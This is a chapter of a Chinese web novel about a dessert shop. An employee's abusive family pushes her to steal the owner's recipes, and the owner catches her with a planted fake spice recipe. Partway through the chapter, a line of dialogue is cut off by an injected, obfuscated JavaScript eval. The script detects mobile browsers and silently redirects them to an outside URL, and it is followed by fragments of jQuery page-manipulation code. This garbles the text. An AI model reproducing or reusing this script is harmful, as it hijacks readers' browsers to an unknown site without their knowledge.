65. 梅花糕

作品:《好记甜品

    结束营业前,铺子里还剩一些点心。好记不卖隔夜产品,所以这些一般都是大伙分了。


    “我要这个,上次没吃到。”


    “那我拿这个。”


    大伙有说有笑,只有吴月站在一旁心事重重。


    “吴月还没拿呢。”有人小声说道。


    吴月虽然算老员工,但很久没来店里,大伙一时把她忘了。


    “吴月,你想要哪个?”陈万问道。


    陈万奶奶家离吴月家近,他比所有人都先认识吴月。而且他来得迟,不知道吴达来闹过事。


    “今天这么忙,她不是发呆就是帮倒忙。要是不习惯呆在云台寺得了,还回来干什么。”王秀撇了撇嘴巴,不情不愿地分了一个。


    其他人也匀了一个出来。


    “给。”


    “我不要,你们分了吧。”吴月垂着肩膀,手缩到身后。


    “给你就拿着,装什么可怜样。”


    吴月:“那今天的打扫都我来吧。”


    “不用,该分给你的就是你的,该一起做的就一起做。”


    晚上,吴月回到家,家里一片寂静。


    “娘,我回来。”吴月小声道,声音里满是疲惫。


    “呀,把你忘了。”吴月她娘从堂屋出来,说道:“我还以为你在云台寺呢。我们已经吃过饭了,锅里还剩个馒头,我再给你炒个菜?”


    桌上残羹冷炙都没了,只有一碟吃了七八天的咸菜。


    吴月放下手里的点心,道:“不用这么麻烦,我自己热一下馒头就行了。”


    “不麻烦。”吴月她娘嘴上这么说,可手完全没去拿菜的意思。从篓子里拿出一个馒头就不管了。


    吴月倒了一碗水,见还热着便直接用水泡馒头就着咸菜吃。


    “娘今天早上和你说的事考虑的怎么样?找到机会没?”吴月她娘挨着她坐下,眼睛里满是期待。


    吴月:“我……东家从来不手写方子。”


    吴月她娘眼里闪过失望,随即又道:“你个死脑筋。她不写总得做吧,你看几眼自己记下来不就得了。”


    “这又不是说看就能看到的。”吴月搪塞道。


    吴月她娘猛地拍一下桌子,语气愤怒:“你又不是没长眼,怎么看不到。”


    吴月:“我——”


    “我看你就是不愿意。”吴月她娘抬手就把吴月带回来的点心从桌上扫了下去:“这点小恩小惠就让你不听娘的话了?”


    “没有。”


    吴月也没胃口吃饭了,筷子放下。


    “还给你娘摆脸子!”吴月她娘声音提高了几分,把吴达和她爹都引了过来。


    “你好好管管你闺女。为了一个外人亲娘都快不认了。”说着赶紧搬来板凳扶着她的好大儿坐下。


    “没有。”吴月道:“那是人家的方子,偷不好。”


    吴达:“什么偷不偷,你是去学。你在好记都干了四个月,学点手艺怎么了。”


    吴月她娘:“你哥说得对。再说好记这么多点心,你就学一两个没什么影响。”


    吴月低着头,嘟囔道:“我不是学徒。”


    “那木坊、绣坊谁家招工最后不都变学徒,你只是提前了一点。”吴月她娘理所当然道。


    “好安给你灌了什么迷魂汤?这么护着她?”吴月她爹冷声道:“你把她当回事,她把你当回事了吗?”


    “是呀。”吴月她娘附和道:“年前隔壁陈奶可说了,陈万上个月一共发了二两多的银子,什么年终奖各种奖。你看看你呢,都在好记干活,怎么就你拿了七八百文。”


    说到这事吴月她娘就来气,那个老虔婆一天到晚在巷口说这事。夸他孙子多么多么能干,多么多么受东家赏识。


    还有那个好安,不就一臭摆摊的,真把自己当东家了。


    说不定这些方子是她使了什么腌臜手段得来的,不然她爹她娘以前怎么不卖?


    吴月沉默不语,年终奖的事情她听说了一点。这件事就像刺一样戳在她心里。


    别人都额外发了两倍的工钱,只有她没有。


    想着想着,吴月吸了吸鼻子。


    “哭什么哭。”吴达腿残了,手还能动,拿起拐棍在吴月背上狠狠敲了一下。


    “要不是你,我会这样吗?


    以前我们家过得什么日子,你小时候要什么新衣服、新吃食没给你买。


    现在我们家过得什么日子,一块铜板恨不得掰开来花。这不都是你害的吗?


    大冷天,爹娘每天天没亮就要出去干活,晚上回来还要伺候你吃饭。


    之前还说什么你撑起这个家,我看都是屁话。你害了我还不够,现在是不是还想害死爹娘?不孝女!”


    说着,吴达又想给她一棍,却被她娘拦了下来,道:“你妹就是心思单纯,没主见,太容易把别人放心上了。”


    吴达恶狠狠地瞪了吴月一眼:“把外人放心上,把自家人放茅房。”


    “好啦,你妹妹知道错啦。”吴月她娘,忽然变得慈眉善目,道:“这么晚了,饭还没吃完呢。赶紧再吃点,要是凉了娘再去帮你热一下。”


    嘴上这么说,屁股都没挪一下。


    “吃饱了。”吴月小声道。


    “吃饱了就快去睡吧,明天还要做工呢。”吴月她娘像小时候那样揉了揉她的脑袋。


    吴月点点头,起身离开。


    走了几步,忽然听见背后幽幽传来一句。


    “最近活太多了,我这个腰疼得都睡不着哦。”


    吴月的眼泪一下落了下来。


    ————


    正月十五,好安根据大伙的意见,兵分两路。


    县城里的交给周娟操持,她则去云台寺。


    除了灯笼灯谜、点心、投壶……一些小玩意,她还带了梅花模子。


    好安:“素夹馍后面不做了。”


    余二壮一听,心一惊,以为是自己哪里没做好,连忙就要跪下。


    没人规定斋堂不能换点心。


    “素夹馍卖这么长时间,该换个口味了。”好安举着梅花模子道:“今年卖梅花糕。”


    梅花模子定型、长嘴铜壶灌注面浆、竹片可以刮浆、铜钩最后用来剥离糕体。


    好安示范了一锅,余三妞看火候反而比他哥还好。好安不在乎他俩谁先学会,只要做出来就行。


    月底,好安去了趟府城,回来时铺子已经定下了。


    和淮清河隔着两条路。前院铺子,后院住人,冰窖、水井样样齐全。是有限钞票内的最佳选择了。


    铺子定下后就要烦装修。


    这次二楼很小,好安准备把楼下柜台做长些。然后窗户拆掉两扇,做成一个带展示柜的窗口。二楼辟成三个有低消的高级雅间。


    好安忙的两边跑,恨不得给自己插个竹蜻蜓飞起来,所以她一回来就把周娟提成掌柜。


    她没直接提,而是让大家匿名投票。


    元宵节的活动举办得很成功,之前吴达来闹事她还特意关了半扇门,还有日常遇到的一些问题周娟都处理的很好,大伙都认可,全票通过。


    “周掌柜哦,我们村第一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310908|160922||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个女掌柜哦~”王秀调侃道:“是不是应该请我们喝杯奶茶。”


    “沾福气!”


    周娟也没想到自己能获得大家的认可,捂着脸小鸡啄米似的点头。


    好安不经意的看了吴月一眼,便回后院去了,没过多久谢宗林又来了。


    好安递给他一个眼神:吴月过来了?


    谢宗林微不可查的点点头。


    好安背对着厨房的门喝了口水,道:“王宁给我写信说他想买肉夹馍的方子。”


    谢宗林:“素夹馍在云台寺卖得很好,天天都一抢而空。肉夹馍肯定能卖得更好,不能轻易卖。”


    “是呢,可是他说他愿意出一百两。”好安生怕躲在墙后的人听不清,着重强调了金额。


    “我说一百两太少了。肉夹馍最重要的就是卤方。有了卤方什么不能卤,他方子王记酒楼随便卖卖,素菜一碟至少十文,肉菜更不用说了。得二百两!”谢宗林连连摇头,演得跟真的似的。


    “你说得对,他一包香料能卤一大锅,一锅能用好几天,划下来一天都没什么成本。不像那些点心,米、油、糖,没一个便宜的。”


    “对,那你可得藏好方子。”


    “我可没敢写下来,但我配了一份藏在灶台后面第四排第六个砖头后面呢。”


    “那人来人往的被人发现怎么办?”


    “没事,都是些不常见的香料,他们发现了也不认识。”


    “你可真,聪,明,啊。”


    “我们会不会太刻意了?”好安小声说道。


    谢宗林:“要是王记酒楼来个人就好了,她保证相信。”


    说来也巧,他俩刚说完没多久,王掌柜真带着王宁的信来了。


    只不过是他发现了一些没见过的辣椒,问她能不能收。


    好安谢宗林对视一眼。


    稳了。


    王掌柜不知发了什么,但这两人今天看他的眼神格外热情,有点毛毛的。


    “能啊。”好安声音忽大忽小:“他既然诚心诚意的发问了,那我写封信和他说说吧。”


    王掌柜:?可以,但好像没必要。


    老胳膊老腿架不住年轻人动作快。王掌柜正要说话时,好安已经把信塞了过来。


    这么快?王掌柜狐疑的翻开。


    可以。


    两个硕大的字跃然纸上。然后他被恭敬的送出门外。


    这两个有必要写下来吗?好像有必要。


    中午,好安去看的时候香料已经不见了,下午吴月就请辞。


    好安:“契书时间内无缘无故辞工是要赔偿的你知道吗?”


    吴月没说话点点头,把准备好的钱放在桌上。


    “还有我之前给你们定的匕首呢?”好安问道。


    吴月一愣,小声道:“那个被我哥当了。”


    好安全当没听见,说道:“这个当初是送给好记员工防身用的,不在好记干了是要还回来的。”


    吴月:“我回去问问。”


    当天,吴月她爹带着匕首上门了。


    “东家,你看看是不是那把。”


    “是的。”好安站在院门口检查,完全没有让她爹进门的意思。


    “吴月这孩子做事也没个条理。东西放哪了也不记得。我让她来好记上班这才几个月她又不想干了。”吴月她爹一脸抱歉的碎碎念道。


    好安假笑道:“没事,找到就行。”


    她估摸着,这家人今晚要忙起来了。


    这不,第二天,店里唯一的县城人陈万骂骂咧咧的上工来了。